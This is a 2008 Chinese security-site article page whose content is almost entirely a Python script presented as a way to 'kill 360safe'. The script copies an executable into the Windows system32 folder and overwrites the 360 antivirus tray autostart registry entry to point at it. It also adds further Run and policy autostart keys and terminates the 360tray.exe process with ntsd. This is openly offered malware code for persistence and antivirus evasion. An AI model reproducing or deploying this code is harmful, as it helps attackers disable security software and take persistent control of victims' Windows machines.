| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 网络安全首页 | 信道安全 | 设备安全 | 协议安全 | Web安全 |
用python修改注册表干掉360safe
用python修改注册表干掉360safe
作者:吴杰 文章来源:邪恶八进制信息安全团队 点击数: 更新时间:2008-5-5 9:18:19

  import _winreg

  import os

  import shutil

  #复制自身

  shutil.copyfile('K3.exe','c:\WINDOWS\system32\K3.exe')

  #把360启动改为自身

  run = _winreg.OpenKey(

  _winreg.HKEY_LOCAL_MACHINE,

  "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE

  )

  _winreg.SetValueEx(

  run,"360Safetray",0,_winreg.REG_SZ,

  r"C:\WINDOWS\system32\k3.exe"

  )

  #添加自启动

  self = _winreg.OpenKey(

  _winreg.HKEY_LOCAL_MACHINE,

  "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE

  )

  _winreg.SetValueEx(

  run,"k3",0,_winreg.REG_SZ,

  r"C:\WINDOWS\system32\k3.exe"

  )

  #添加所有用户启动

  allrun = _winreg.OpenKey(

  _winreg.HKEY_LOCAL_MACHINE,

  "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE

  )

  _winreg.SetValueEx(

  allrun,"k3",0,_winreg.REG_SZ,

  r"C:\WINDOWS\system32\k3.exe"

  )

  #终止360进程

  os.popen("ntsd -c q -pn 360tray.exe cmd")

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    没有相关文章
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有